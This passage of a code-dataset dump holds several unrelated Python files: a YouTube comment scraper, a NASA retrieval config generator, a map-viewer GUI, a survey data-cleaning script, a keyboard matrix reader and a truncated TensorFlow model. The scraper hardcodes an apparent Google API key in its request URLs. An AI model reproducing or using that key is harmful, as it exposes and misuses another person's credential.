max_ind\ndef getCommentsForVideo(video_id):\n comment_list = []\n count = 0\n comments_from = ''\n try:\n comments_from = requests.get(f'https://youtube.googleapis.com/youtube/v3/commentThreads?part=snippet&maxResults=100&videoId={video_id}&key=AIzaSyAiBa23mUdvRRlkLGY8cSc7mzv-OQ-JMUY')\n print(type(comments_from.status_code))\n comment_json_data = json.loads(comments_from.text)\n if comments_from.status_code != 200:\n print(json.loads(comments_from.text))\n print('1',comments_from.status_code)\n if comment_json_data['error']['errors'][0]['reason'] == 'commentsDisabled':\n video_wo_comments.append(video_id)\n return [],0,True\n print(f'{video_id} was the last one')\n return [], 0, False\n if 'items' in comment_json_data:\n for x in range(0,len(comment_json_data['items'])):\n comment_element = {\n 'id': comment_json_data['items'][x]['snippet']['topLevelComment']['id'],\n 'textOriginal': comment_json_data['items'][x]['snippet']['topLevelComment']['snippet']['textOriginal'],\n 'authorDisplayName': comment_json_data['items'][x]['snippet']['topLevelComment']['snippet']['authorDisplayName'],\n 'likeCount': comment_json_data['items'][x]['snippet']['topLevelComment']['snippet']['likeCount'],\n 'publishedAt': comment_json_data['items'][x]['snippet']['topLevelComment']['snippet']['publishedAt'],\n 'updatedAt': comment_json_data['items'][x]['snippet']['topLevelComment']['snippet']['updatedAt']\n }\n comment_list.append(comment_element)\n count = count+len(comment_json_data['items'])\n print(f'{count} processed',end=\"\\r\")\n while('nextPageToken' in comment_json_data):\n next_page_token = comment_json_data['nextPageToken']\n comments_from = requests.get(f'https://youtube.googleapis.com/youtube/v3/commentThreads?part=snippet&maxResults=100&pageToken={next_page_token}&videoId={video_id}&key=AIzaSyAiBa23mUdvRRlkLGY8cSc7mzv-OQ-JMUY')\n comment_json_data = json.loads(comments_from.text)\n if comments_from.status_code != 200:\n \n print(json.loads(comments_from.text))\n print('2',comments_from.status_code)\n print(f'{video_id} was the last one')\n return [], 0, False\n if 'items' in comment_json_data:\n for x in range(0,len(comment_json_data['items'])):\n comment_element = {\n 'id': comment_json_data['items'][x]['snippet']['topLevelComment']['id'],\n 'textOriginal': comment_json_data['items'][x]['snippet']['topLevelComment']['snippet']['textOriginal'],\n 'authorDisplayName': comment_json_data['items'][x]['snippet']['topLevelComment']['snippet']['authorDisplayName'],\n 'likeCount': comment_json_data['items'][x]['snippet']['topLevelComment']['snippet']['likeCount'],\n 'publishedAt': comment_json_data['items'][x]['snippet']['topLevelComment']['snippet']['publishedAt'],\n 'updatedAt': comment_json_data['items'][x]['snippet']['topLevelComment']['snippet']['updatedAt']\n }\n comment_list.append(comment_element)\n count = count+len(comment_json_data['items'])\n print(f'{count} processed',end=\"\\r\") \n return comment_list,len(comment_list), True\n except(err):\n \n print(json.loads(comments_from.text))\n print('3',comments_from.status_code)\n print(f'{video_id} was the last one')\n return [], len(comment_list), False\n \n \n\n#print(getCommentsForVideo('JrMiSQAGOS4'))\n\ndf_video_metadata = pd.read_csv(f'./Output_Dataset/df_video_metadata(0To10000).csv')\ncomment_cnts = list(df_video_metadata['video_comment_count'])\nhit_cnts = 0\ntotal_comments = 0\nfor cnt in comment_cnts[0:int(len(comment_cnts)/2)]:\n #if str(cnt) != 'Nan' or str(cnt) != 'nan' or str(cnt) != 'NaN':\n if not math.isnan(cnt):\n cnt = int(cnt)\n if int(cnt/100) == 0:\n hit_cnts+=1\n else:\n hit_cnts+=int(cnt/100)\n total_comments+=cnt\n\nprint(f'For {total_comments} comments we need to hit the API {hit_cnts} times')\n\nvideo_comments = []\ncompleted = True\nprev_completed = True\nog_no_comments = 0\nabandoned_index = -1\nvideo_ids = list(df_video_metadata['video_id'])\nfor idx, vid in enumerate(video_ids):\n if prev_completed:\n og_no_comments = df_video_metadata['video_comment_count'][idx]\n if og_no_comments > 0 and not math.isnan(og_no_comments):\n comments, len_comments, completed = getCommentsForVideo(vid)\n if completed:\n video_comments.append(comments)\n og_len = df_video_metadata['video_comment_count'][idx]\n print(f'Fetched {len_comments} out of {og_len}')\n else:\n print('Some error occured while fetching the comments...')\n video_comments.append([{'id': 'API Limit Exceeded',\n 'textOriginal': 'API Limit Exceeded',\n 'authorDisplayName': 'API Limit Exceeded',\n 'likeCount': 'API Limit Exceeded',\n 'publishedAt': 'API Limit Exceeded',\n 'updatedAt': 'API Limit Exceeded'}])\n abandoned_index = idx\n prev_completed = False\n print('Abandoning the rest of the dataset')\n else:\n video_comments.append([{'id': 'API Limit Exceeded',\n 'textOriginal': 'API Limit Exceeded',\n 'authorDisplayName': 'API Limit Exceeded',\n 'likeCount': 'API Limit Exceeded',\n 'publishedAt': 'API Limit Exceeded',\n 'updatedAt': 'API Limit Exceeded'}])\n else:\n video_comments.append([{'id': 'API Limit Exceeded',\n 'textOriginal': 'API Limit Exceeded',\n 'authorDisplayName': 'API Limit Exceeded',\n 'likeCount': 'API Limit Exceeded',\n 'publishedAt': 'API Limit Exceeded',\n 'updatedAt': 'API Limit Exceeded'}])\nif completed:\n print(f'Saving the dataset as TW-v_(0to10000)_NXT-ct.csv')\n df_video_metadata = df_video_metadata.assign(parent_comments=video_comments)\n df_video_metadata.to_csv(f'./Next/TW-v_(0to10000)_NXT-ct.csv',index=False)\nelse:\n incomplete_list = os.listdir('./Incomplete')\n max_abandoned = getMaxAbandonedIndexFrom(incomplete_list)\n if max_abandoned < abandoned_index:\n print(f'Saving the dataset as TW-v_(0to10000)_INC-co({abandoned_index}).csv')\n df_video_metadata = df_video_metadata.assign(parent_comments=video_comments)\n df_video_metadata.to_csv(f'./Incomplete/TW-v_(0to10000)_INC-co({abandoned_index}).csv',index=False)\n ","repo_name":"MihirS57/YouTube-Metadata-Collection","sub_path":"comments.py","file_name":"comments.py","file_ext":"py","file_size_in_byte":7857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13999596897","text":"#!/usr/bin/env python\n\nfrom __future__ import print_function\nimport os\nimport re\n\nfrom optparse import OptionParser\n\nimport h5py\n\nfrom full_physics import L2InputFile, parse_keyval_str_list, PopulatorBase\nimport full_physics.acos_file as acos_file\n\n# Maps the output locations in the config with the groups in the HDF files indentifying the file type\nFILE_SEARCH_GROUPS = { \"L1BFile\" : ['InstrumentHeader'],\n \"ResampledMetFile\" : ['ecmwf', 'ECMWF',\n 'Meteorology/meteorology_flag'],\n \"CO2PriorFile\" : ['CO2Prior'],\n \"IMAPFile\" : ['DOASFluorescence'],\n \"ABandFile\" : ['ABandRetrieval'],\n \"RRVFile\" : ['campaign'],\n 'UqFile' : ['StateVector'],\n }\n\nHDF_VALID_EXTENSIONS = ['.h5', '.hdf']\n\nINPUT_FILE_MAP_EXT = \".map\"\nINPUT_FILE_MAP_KEYWORD = \"InputFileMapping\"\n\n# What to modify in input config templates\nINP_PROD_SECTION_NAME = 'input->InputProductFiles'\nALT_SETTINGS_SECTION_NAME = 'input->AlternativeSettings'\n\nGEN_LIST_SECTION_TMPL = 'input->%sFullPhysics'\nSOUNDING_ID_LIST_NAME = 'SoundingIds'\n\ndef insert_alternative_settings(template_obj, alt_settings_hash):\n\n alt_sect = template_obj.get_section(ALT_SETTINGS_SECTION_NAME)\n\n if len(alt_sect) == 0:\n raise IOError('Could not section %s inside of template file %s' % (ALT_SETTINGS_SECTION_NAME, template_obj.filename))\n else:\n for (alt_key, alt_val) in list(alt_settings_hash.items()):\n alt_sect[0].set_keyword_value(alt_key, alt_val)\n\ndef check_file_type(filename):\n (file_prefix, file_ext) = os.path.splitext(filename)\n\n file_type_keywords = []\n if file_ext in HDF_VALID_EXTENSIONS:\n # A file could match multiple types, for instance if several types of information are wrapped in one file\n with h5py.File(filename, 'r') as hdf_obj:\n for keyword_name, groups in list(FILE_SEARCH_GROUPS.items()):\n for curr_group in groups:\n if curr_group in hdf_obj:\n file_type_keywords.append(keyword_name)\n\n elif file_ext == INPUT_FILE_MAP_EXT:\n file_type_keywords.append(INPUT_FILE_MAP_KEYWORD)\n else:\n return None\n\n return file_type_keywords\n\ndef handle_common_config(template_obj, out_config_filename, used_files, sounding_ids, run_type, ids_file_keyword='L1BFile', id_list_sect=None):\n inp_prod_section = template_obj.get_section(INP_PROD_SECTION_NAME)\n\n if len(inp_prod_section) == 0:\n print(template_obj.get_all_section_names())\n raise IOError('Could not find input product file section of %s' % template_obj.filename)\n\n for curr_file in used_files:\n keyword_names = check_file_type(curr_file)\n if keyword_names is not None:\n for kw in keyword_names:\n inp_prod_section[0].set_keyword_value(kw, curr_file)\n \n ids_file = inp_prod_section[0].get_keyword_value(ids_file_keyword)\n if ids_file != None and len(ids_file) > 0 and ids_file != \"NONE\" and sounding_ids == None:\n l1b_obj = acos_file.L1B(ids_file)\n sounding_ids = list(l1b_obj.get_sounding_ids()[:].ravel())\n\n sounding_ids_val_sect = []\n\n if id_list_sect == None:\n id_list_sect = GEN_LIST_SECTION_TMPL % run_type.upper()\n\n for list_sect in template_obj.get_section(id_list_sect + '->LIST'):\n list_name = list_sect.get_keyword_value('name')\n if list_name == SOUNDING_ID_LIST_NAME:\n sounding_ids_val_sect = list_sect.get_section('->VALUES')\n\n if len(sounding_ids_val_sect) == 0:\n raise IOError('Could not find sounding id list section named %s in %s' % (id_list_sect, template_obj.filename))\n\n sounding_ids_val_sect[0].set_matrix_data(sounding_ids)\n \n template_obj.write(out_config_filename, doIndent=True)\n\n# Same as gen_config with defaults\nhandle_oco_config = handle_common_config\nhandle_oco3_config = handle_common_config\n\ndef handle_oco_uplooking_config(template_obj, out_config_filename, used_files, sounding_ids, run_type):\n\n inp_prod_section = template_obj.get_section(INP_PROD_SECTION_NAME)[0] \n for curr_file in used_files:\n extension = curr_file[curr_file.rfind('.')+1:].lower()\n \n if extension == 'dat':\n inp_prod_section.set_keyword_value('AtmosphereFile', curr_file)\n\n handle_common_config(template_obj, out_config_filename, used_files, sounding_ids, run_type, id_list_sect='input->OCOFullPhysics')\n\ndef handle_gosat_config(template_obj, out_config_filename, used_files, sounding_ids, run_type):\n\n handle_common_config(template_obj, out_config_filename, used_files, sounding_ids, run_type)\n\ndef handle_fts_config(template_obj, out_config_filename, used_files, sounding_ids, run_type):\n\n inp_prod_section = template_obj.get_section(INP_PROD_SECTION_NAME)[0] \n spectrum_files_section = inp_prod_section.get_section('->SpectrumFiles')[0]\n \n obs_ids = []\n for curr_file in used_files:\n extension = curr_file[curr_file.rfind('.')+1:].lower()\n \n if extension == 'grl':\n inp_prod_section.set_keyword_value('RunlogFile', curr_file)\n if extension == 'dat':\n inp_prod_section.set_keyword_value('AtmosphereFile', curr_file)\n if re.search('\\d\\d\\d', extension):\n if sounding_ids != None and not extension in sounding_ids:\n continue\n \n if not extension in obs_ids:\n obs_ids.append(extension)\n \n curr_id = extension\n if re.search('^.*a[_.]', curr_file):\n curr_id += '1'\n elif re.search('^.*b[_.]', curr_file):\n curr_id += '2'\n\n spectrum_files_section.set_keyword_value(curr_id, curr_file)\n\n obs_ids.sort()\n obs_id_sec = template_obj.get_section('input->FTSFullPhysics->LIST->VALUES')[0]\n obs_id_sec.set_matrix_data(obs_ids)\n\n template_obj.write(out_config_filename, doIndent=True)\n\ndef handle_uq_config(template_obj, out_config_filename, used_files, filter_options, run_type):\n\n handle_common_config(template_obj, out_config_filename, used_files, sounding_ids, run_type, ids_file_keyword='UqFile', id_list_sect='input->UqFullPhysics')\n\nif __name__ == \"__main__\":\n \n # Parse command line options\n parser = OptionParser(usage=\"usage: %prog [options] -t [...]\")\n\n parser.add_option( \"-t\", \"--run_type\", dest=\"run_type\",\n metavar='STRING', \n help=\"type of run being set up, valid values are: [%s]\" % (', '.join(list(PopulatorBase.populator_list.keys()))),\n )\n\n parser.add_option( \"-l\", \"--sounding_list\", dest=\"sounding_list_file\",\n metavar='FILE',\n help=\"sounding list to use when picking sounding ids placed into config file\"\n )\n\n parser.add_option( \"-o\", \"--config_filename\", dest=\"config_filename\",\n metavar='FILE',\n help=\"alternative name for output config file produced other than based on run type and directory name\"\n )\n\n parser.add_option( \"-a\", \"--alternative_setting\", dest=\"alternative_settings\",\n metavar=\"KEY=VALUE\",\n type=\"string\",\n action=\"append\",\n help='define an override control setting keyword and value. Multiple are allowed and are defined using the syntax: \"keyword=value\"'\n )\n\n parser.add_option( \"-r\", \"--relative_paths\", dest=\"relative_paths\",\n default=False,\n action=\"store_true\",\n help='Store paths in config file as relative to directory where config file will end up'\n )\n\n # Parse command line arguments\n (cmd_options, cmd_args) = parser.parse_args()\n\n if len(cmd_args) < 1:\n parser.error('No files specified for setting up config')\n\n if cmd_options.run_type == None:\n parser.error('run type not set with -t argument')\n\n if cmd_options.run_type not in PopulatorBase.populator_list:\n parser.error('%s is not a valid run type, valid values are: [%s]' % (cmd_options.run_type, ', '.join(list(PopulatorBase.populator_list.keys()))))\n\n if cmd_options.config_filename == None:\n out_config_filename = '%s/%s_%s.config' % (os.getcwd(), cmd_options.run_type, os.path.basename(os.getcwd()))\n else:\n out_config_filename = cmd_options.config_filename\n\n if cmd_options.relative_paths:\n cfg_path = os.path.dirname(out_config_filename)\n used_files = [ os.path.relpath(curr_file, cfg_path) for curr_file in cmd_args ]\n else:\n used_files = [ os.path.realpath(curr_file) for curr_file in cmd_args ]\n\n populator = PopulatorBase.create_populator_from_config_type(cmd_options.run_type)\n if not os.path.exists(populator.config_template_file):\n raise IOError('Template config file does not exist: %s' % populator.config_template_file)\n \n tmpl_obj = L2InputFile(populator.config_template_file)\n\n sounding_ids = None\n if cmd_options.sounding_list_file != None:\n sounding_ids = populator.read_id_list_file(cmd_options.sounding_list_file)\n\n # Insert any alternative configuration values\n alt_settings_hash = parse_keyval_str_list(cmd_options.alternative_settings)\n insert_alternative_settings(tmpl_obj, alt_settings_hash)\n\n eval('handle_%s_config(tmpl_obj, out_config_filename, used_files, sounding_ids, cmd_options.run_type)' % cmd_options.run_type)\n","repo_name":"nasa/RtRetrievalFramework","sub_path":"support/utils/create_config.py","file_name":"create_config.py","file_ext":"py","file_size_in_byte":9821,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"21"} +{"seq_id":"29281984727","text":"import PySimpleGUI as sg\nfrom pathlib import Path\n\nfrom xgl import MapViewer, load_level\n\n\nresource_folder = Path(__file__).parent / \"Resources\"\nthumbnails_folder = resource_folder / \"Thumbnails\"\nicon_file = resource_folder / \"xenogears logo.ico\"\n\ndef lanch_viewer(fileIndex):\n model = load_level(fileIndex)\n map_viewer = MapViewer(model, debug=False)\n map_viewer.main_loop()\n\nsg.theme('DarkBrown4') \npictures_area = [ [] ]\ni = 1\nwhile i <= 729:\n pictures_area[-1].append(\n sg.Button(\n key = f\"Level_{i}\", \n button_color=(sg.theme_background_color(), sg.theme_background_color()),\n image_filename = thumbnails_folder / f\"LevelThumbnail_{i}.png\",\n #image_size=(50, 50), \n image_subsample=1,\n border_width=1\n ))\n \n if i % 9 == 0:\n pictures_area.append([])\n i+=1\n\nlayout = [ [sg.Text('Enter level index, from 1 to 729, or click on a thumbnail to view the level'), sg.Button(\"Controls\")],\n [sg.InputText(key=\"FileIndex\", size=(10,10)), sg.OK()],\n [sg.Column(pictures_area, size=(1325, 800), scrollable=True, vertical_scroll_only=True)],\n ]\n \n \n# Create the Window\nwindow = sg.Window(\"Xenogears Map Viewer\", icon=icon_file).Layout(layout)\n# Event Loop to process \"events\"\nwhile True: \n event, values = window.read()\n #print(event, values)\n if event in (sg.WIN_CLOSED, 'Exit'):\n break\n elif event == 'OK':\n try:\n fileIndex = int(values['FileIndex'])\n if fileIndex < 1 or fileIndex > 729:\n raise ValueError\n\n lanch_viewer(fileIndex)\n except:\n sg.Popup(\"Wrong value\")\n elif str(event).split('_')[0] == \"Level\":\n fileIndex = int(str(event).split('_')[1])\n lanch_viewer(fileIndex)\n elif event == 'Controls':\n control_info = '''\n WASD - movement\n Mouse and arrows - looking around\n Mouse scroll - change movement speed\n Shift - go faster\n E - toggle wireframe\n ESC - close level viewer\n '''\n sg.Popup(control_info, title=\"Controls\")\n\n\nwindow.close()\n\n\n\n","repo_name":"Quattro-Bajeena/xenogears-map-viewer","sub_path":"map_viewer_app.py","file_name":"map_viewer_app.py","file_ext":"py","file_size_in_byte":2179,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"5465615111","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n#%% LIMPIEZA DE MATRIZ\n\nww1 = pd.read_excel(\"ww1.xlsx\", index_col=0, delimiter = ',')\nww2 = pd.read_excel(\"ww2.xlsx\", index_col=0, delimiter = ',')\n\n#cambiamos los nombres de los fork por 1 y 2 para ww1 y 3 y 4 para ww2\nww1['fork'].replace({9:1, 10:2}, inplace = True)\nww2['fork'].replace({9:3, 10:4}, inplace = True)\n\n#le sumamos 100000 a los userId de ww1 y 200000 a los de ww2\nww1.user_id = ww1.user_id + 100000\nww2.user_id = ww2.user_id + 200000\n\n#unimos ww1 y ww2\nframes = [ww1, ww2]\nsw = pd.concat(frames)\n\n#cambiamos los valores respondidos para las repreguntas, si cambio la respuesta se cambia por ValorRepregunta, si no la cambio se cambia por ValorPresentadoPregunta \nsw.ValorRespondido[(sw.ValorRepregunta == -1) & (sw.Es_Repregunta == 1)] = sw.ValorPresentadoPregunta[(sw.ValorRepregunta == -1) & (sw.Es_Repregunta == 1)]\nsw.ValorRespondido[(sw.ValorRepregunta != -1) & (sw.Es_Repregunta == 1)] = sw.ValorRepregunta[(sw.ValorRepregunta != -1) & (sw.Es_Repregunta == 1)]\n\n#espejamos las preguntas A1 y A3 para que correspondan a 0 derecha, 100 izquierda (si funciona mal hacerlo en dos pasos)\nsw.ValorRespondido[(sw.questionId == 19) | (sw.questionId == 23)] = - sw.ValorRespondido[(sw.questionId == 19) | (sw.questionId == 23)] + 100\nsw.ValorPresentadoPregunta[((sw.questionId == 19) | (sw.questionId == 23)) & sw.Es_Repregunta == 1] = - sw.ValorPresentadoPregunta[((sw.questionId == 19) | (sw.questionId == 23)) & sw.Es_Repregunta == 1] + 100\n\n#filtramos la matriz usando las columnas Pais, OmitirDatos y EsUsuarioDePrueba, luego tiramos las columnas que no nos sirven\nsw = sw[sw.Pais == 'Sweden']\nsw = sw[sw['OmitirDatos?'] == 0]\nsw = sw[sw.EsUsuarioDePrueba == 0]\nsw.drop(['TipoDePregunta', 'OmitirDatos?', 'EsUsuarioDePrueba', 'comentarios', 'Pais', 'timer', 'creado_el'], axis=1, inplace = True)\n\n#arreglamos los usuarios con preguntas repetidas (32 en lugar de 24)\nfor i in sw.user_id.unique():\n #eliminamos las preguntas duplicadas dejando solo la primera, cuando se eliminan quedan como Na\n sw[(sw.user_id == i) & (sw.Es_Repregunta == 0)] = sw[(sw.user_id == i) & (sw.Es_Repregunta == 0)].drop_duplicates('questionId')\n #idem para las repreguntas\n sw[(sw.user_id == i) & (sw.Es_Repregunta == 1)] = sw[(sw.user_id == i) & (sw.Es_Repregunta == 1)].drop_duplicates('questionId')\n #eliminamos las filas que habían quedado como Na\n sw = sw[~sw.user_id.isna()]\n #eliminamos los usuarios con una cantidad de preguntas distinta de 24\n if sw[sw.user_id == i].shape != (24,8):\n sw = sw[sw.user_id != i]\n\n#%% PIVOTEO\n\n\n#creamos las tres columnas para etiquetar las nuevas columnas de la matriz (que se usan para el pivoteo)\nsw['QID'] = 0\nsw['conf']= -1\nsw['Presentado']= -1\nsw.index = range(len(sw.index))\nfor i in sw.index:\n if i%300 == 0:\n print(int(i/len(sw.index)*100),'%')\n if (sw['questionId'][i]==19) & (sw['Es_Repregunta'][i]==0):\n sw['QID'][i]='A1'\n sw['conf'][i]='A1conf'\n elif (sw['questionId'][i]==19) & (sw['Es_Repregunta'][i]==1):\n sw['QID'][i]='RA1'\n sw['conf'][i]='RA1conf'\n sw['Presentado'][i]='RA1pres'\n elif (sw['questionId'][i]==20) & (sw['Es_Repregunta'][i]==0):\n sw['QID'][i]='A2'\n sw['conf'][i]='A2conf'\n elif (sw['questionId'][i]==20) & (sw['Es_Repregunta'][i]==1):\n sw['QID'][i]='RA2'\n sw['conf'][i]='RA2conf'\n sw['Presentado'][i]='RA2pres'\n elif (sw['questionId'][i]==21) & (sw['Es_Repregunta'][i]==0):\n sw['QID'][i]='B1'\n sw['conf'][i]='B1conf'\n elif (sw['questionId'][i]==21) & (sw['Es_Repregunta'][i]==1):\n sw['QID'][i]='RB1'\n sw['conf'][i]='RB1conf'\n sw['Presentado'][i]='RB1pres'\n elif (sw['questionId'][i]==22) & (sw['Es_Repregunta'][i]==0):\n sw['QID'][i]='B2'\n sw['conf'][i]='B2conf'\n elif (sw['questionId'][i]==22) & (sw['Es_Repregunta'][i]==1):\n sw['QID'][i]='RB2'\n sw['conf'][i]='RB2conf'\n sw['Presentado'][i]='RB2pres'\n elif sw['questionId'][i]==23:\n sw['QID'][i]='A3'\n sw['conf'][i]='A3conf'\n elif sw['questionId'][i]==39:\n sw['QID'][i]='A4'\n sw['conf'][i]='A4conf'\n elif sw['questionId'][i]==40:\n sw['QID'][i]='B3'\n sw['conf'][i]='B3conf'\n elif sw['questionId'][i]==41:\n sw['QID'][i]='B4'\n sw['conf'][i]='B4conf'\n elif sw['questionId'][i]==15:\n sw['QID'][i]='C1'\n sw['conf'][i]='C1conf'\n elif sw['questionId'][i]==16:\n sw['QID'][i]='C2'\n sw['conf'][i]='C2conf'\n elif sw['questionId'][i]==17:\n sw['QID'][i]='C3'\n sw['conf'][i]='C3conf'\n elif sw['questionId'][i]==18:\n sw['QID'][i]='C4'\n sw['conf'][i]='C4conf'\n elif sw['questionId'][i]==62:\n sw['QID'][i]='Genero'\n elif sw['questionId'][i]==63:\n sw['QID'][i]='Educacion'\n elif sw['questionId'][i]==64:\n sw['QID'][i]='PP_anterior'\n elif sw['questionId'][i]==65:\n sw['QID'][i]='Elec_anterior'\n elif sw['questionId'][i]==29:\n sw['QID'][i]='Voto'\n elif sw['questionId'][i]==50:\n sw['QID'][i]='Interes'\n elif sw['questionId'][i]==31:\n sw['QID'][i]='CVoto'\n elif sw['questionId'][i]==30:\n sw['QID'][i]='Qid30'\n\n#pivoteamos por valor respondido\nswValorRespondido=sw.pivot(index='user_id', columns='QID', values='ValorRespondido')\n\n#pivoteamos para guardar el fork\nswfork=sw.pivot(index='user_id', columns='QID', values='fork')\n\n#creamos una matriz con las filas que tienen confianza y una con las que tienen valor presentado (las repreguntas)\nswConfianza=sw[sw.conf != -1]\nswPresentado=swConfianza[swConfianza.Presentado != -1]\n\n#pivoteamos por confianza y por valor presentado\nswConfianza=swConfianza.pivot(index='user_id', columns='conf', values='confianza')\nswPresentado=swPresentado.pivot(index='user_id', columns='Presentado', values='ValorPresentadoPregunta')\n\n#concatenamos las tres matrices pivoteadas\nSw=pd.concat([swValorRespondido,swConfianza,swPresentado], axis=1)\n#creamos una columna con el fork (usando la matriz pivoteada antes)\nSw['fork']=swfork['A1']\n\n#reordenamos las columnas segun nuestro criterio\ncolumnsTitles = ['fork','A1', 'A1conf','B1','B1conf','A2','A2conf','B2','B2conf','RA1','RA1conf','RA1pres','RB1','RB1conf','RB1pres','RA2','RA2conf','RA2pres','RB2','RB2conf','RB2pres','A3', 'A3conf','B3','B3conf','A4','A4conf','B4','B4conf','C1','C1conf','C2','C2conf','C3','C3conf','C4','C4conf','Genero','Educacion','Voto','CVoto','Elec_anterior','Interes','PP_anterior','Qid30']\nSw = Sw.reindex(columns=columnsTitles)\n\n#%% GUARDADO DE LA MARIZ EN CSV\nSw.to_csv('SWlimpia.csv')\n","repo_name":"marinomaria/revisor","sub_path":"sw/MatrizLimpia.py","file_name":"MatrizLimpia.py","file_ext":"py","file_size_in_byte":6685,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70040476214","text":"from shiftreg_pigpio import InputShiftReg, OutputShiftReg\n\nclass ShiftRegisterMatrix:\n def __init__(self, pi):\n self._pi = pi\n self.shift_out = OutputShiftReg(pi, 16, 20, 21)\n self.shift_in = InputShiftReg(pi, SH_LD=25, chips=2)\n\n def read(self, rows, cols):\n for i in range(rows):\n self.shift_out.write(1 << i)\n row_state = self.shift_in.read()\n for j in range(len(row_state)):\n print(f\"{i:02d}:{j:02d} -> {row_state[j]}\")\n self.shift_out.write(0)\n\n # def read(self, keymap):\n # for i, row_keys in enumerate(keymap):\n # self.shift_out.write(1 << i)\n # row_state = self.shift_in.read()\n # for key, state in zip(row_keys, row_state):\n # if state:\n # yield key\n # self.shift_out.write(0)\n\n def read_bytes(self, keymap):\n byte_val = 0\n for i, row_keys in enumerate(keymap):\n self.shift_out.write(1 << i)\n row_state = self.shift_in.read()\n for key, state in zip(row_keys, row_state):\n byte_val |= state << key\n self.shift_out.write(0)\n return byte_val\n\nif __name__ == \"__main__\":\n\n import pigpio\n\n print(\"Connecting to pigpiod\")\n pi = pigpio.pi()\n if not pi.connected:\n exit()\n\n srm = ShiftRegisterMatrix(pi)\n\n print(srm.read(8, 8))","repo_name":"kForth/KeyLimePi","sub_path":"keylimepy/shift_matrix_kb.py","file_name":"shift_matrix_kb.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23202277890","text":"import numpy as np\nimport tensorflow as tf\n\nfrom patch_model import Resnet, recognition_tail\nfrom utils import selective_initializer\n\n\nclass Recognition_Network:\n def __init__(self, classes, box_gamma, alpha_tail, sess, graph, P, frac_dict=None, eps=1e-7, train_base_resnet=True, alpha_head=None):\n self.graph = graph\n self.sess = sess\n self.classes = classes\n self.box_gamma = box_gamma\n self.alpha_tail = alpha_tail # only relevant at patch logits layer (simple conv)\n self.P = P\n self.eps = eps\n self.train_base_resnet = train_base_resnet\n self.alpha_head = alpha_head\n\n # Remember that Resnet 101 with inp of 300 will result in output of 10\n if self.P == 20:\n self.frac_dict = {'k': 3, 's': 2, 'pad': 'SAME', 'low': 0.98}\n elif self.P == 12:\n self.frac_dict = {'k': 3, 's': 1, 'pad': 'VALID', 'low': 0.94}\n else:\n self.frac_dict = frac_dict\n\n def set_session(self, sess):\n self.sess = sess\n\n def set_graph(self, graph):\n self.graph=graph\n\n def set_params(self, data_tup_el):\n self.x = data_tup_el.images\n self.labels = data_tup_el.labels\n self.nu = data_tup_el.nus\n self.singles = data_tup_el.singles\n self.is_training = tf.placeholder_with_default(True, None, 'is_training')\n\n def _build_resnet(self, resnet_path):\n\n self.res_out = Resnet(self.x, self.is_training, self.classes, self.alpha_tail, train_base_resnet=self.train_base_resnet)\n self.resnet_saver = tf.train.Saver(max_to_keep=3)\n\n if resnet_path is not None:\n print(\"Loading Resnet model from :{}\".format(resnet_path))\n self.resnet_saver.restore(self.sess, resnet_path)\n\n def _build_graph(self, patch_model_path):\n self.patch_probs, self.patch_logits = recognition_tail(self.res_out, self.is_training, self.classes, self.alpha_tail, self.P, self.frac_dict, alpha_head=self.alpha_head) # shape batch x H x W x K (batch x P x P x K)\n self.patch_model_saver = tf.train.Saver(max_to_keep=3)\n\n if patch_model_path is not None:\n print(\"Loading patch model from :{}\".format(patch_model_path))\n self.patch_model_saver.restore(self.sess, patch_model_path)\n\n self.minus_probs = 1 - self.patch_probs\n\n #rescaling from [0, 1] to [low, 1] to counter underflow problem\n probs_low_rescale = self.frac_dict['low']\n probs_high_rescale = 1.0\n with tf.name_scope('rescaled_patch_probs'):\n self.pos_probs = (self.patch_probs - 0) * (probs_high_rescale - probs_low_rescale) / (1 - 0) + probs_low_rescale\n self.minus_probs = (self.minus_probs - 0) * (probs_high_rescale - probs_low_rescale) / (1 - 0) + probs_low_rescale\n # Patch probs [0.94, 1], but when multiplied for image-level, expands to [0, 1].\n\n #self.log = {}\n\n self.loose_prob = {}\n bound_prob = {}\n\n # Loss function\n # With bounding boxes\n for k in range(self.classes):\n mask = tf.equal(self.labels[..., k], 1)\n positives = tf.cast(mask, tf.bool)\n negatives = tf.cast(tf.logical_not(mask), tf.bool)\n # Mask not going to work because 0 times 0 results in zero\n # Filtering does not preserve shape\n ones = tf.ones_like(self.pos_probs[..., k])\n bound_prob[k] = tf.reduce_prod(tf.where(positives, self.pos_probs[..., k], ones), axis=[1, 2]) * \\\n tf.reduce_prod(tf.where(negatives, self.minus_probs[..., k], ones), axis=[1, 2])\n # bound_prob[k] shape is input/batch size\n #self.log['bound_{}'.format(k)] = bound_prob[k]\n\n # No bounding boxes\n # for each class, look at all the patches and get probability for that class\n for k in range(self.classes):\n self.loose_prob[k] = 1 - tf.reduce_prod(self.minus_probs[..., k], axis=[1, 2]) # shape is input/batch size\n #self.log['loose_{}'.format(k)] = self.loose_prob[k]\n\n # Total loss\n for k in range(self.classes):\n curr_label = tf.cast(self.labels[..., 0, 0, k], tf.float32) # just picking a label for unbound images, size is batch_sz. Will be either 0 or 1 based on current k and self.labels.\n\n with tf.name_scope('class_{}_loss'.format(k)):\n c_log_bound = tf.reduce_sum(self.nu * tf.log(bound_prob[k] + self.eps))\n c_log_loose_positive = tf.reduce_sum((1 - self.nu) * curr_label * tf.log(self.loose_prob[k] + self.eps))\n c_log_loose_negative = tf.reduce_sum((1 - self.nu) * (1 - curr_label) * tf.log(1 - self.loose_prob[k] + self.eps))\n\n k_loss = - self.box_gamma * c_log_bound - c_log_loose_positive - c_log_loose_negative\n\n #self.log['log_bound_{}'.format(k)] = c_log_bound\n #self.log['log_loose_positive_{}'.format(k)] = c_log_loose_positive\n #self.log['log_loose_negative_{}'.format(k)] = c_log_loose_negative\n\n tf.add_to_collection('class_loss', k_loss)\n\n #sum all loss across classes\n class_loss = tf.reduce_sum(tf.get_collection('class_loss'), name='class_loss')\n l2_loss = tf.reduce_sum(tf.get_collection('l2_loss'), name='l2_loss')\n\n total_loss = 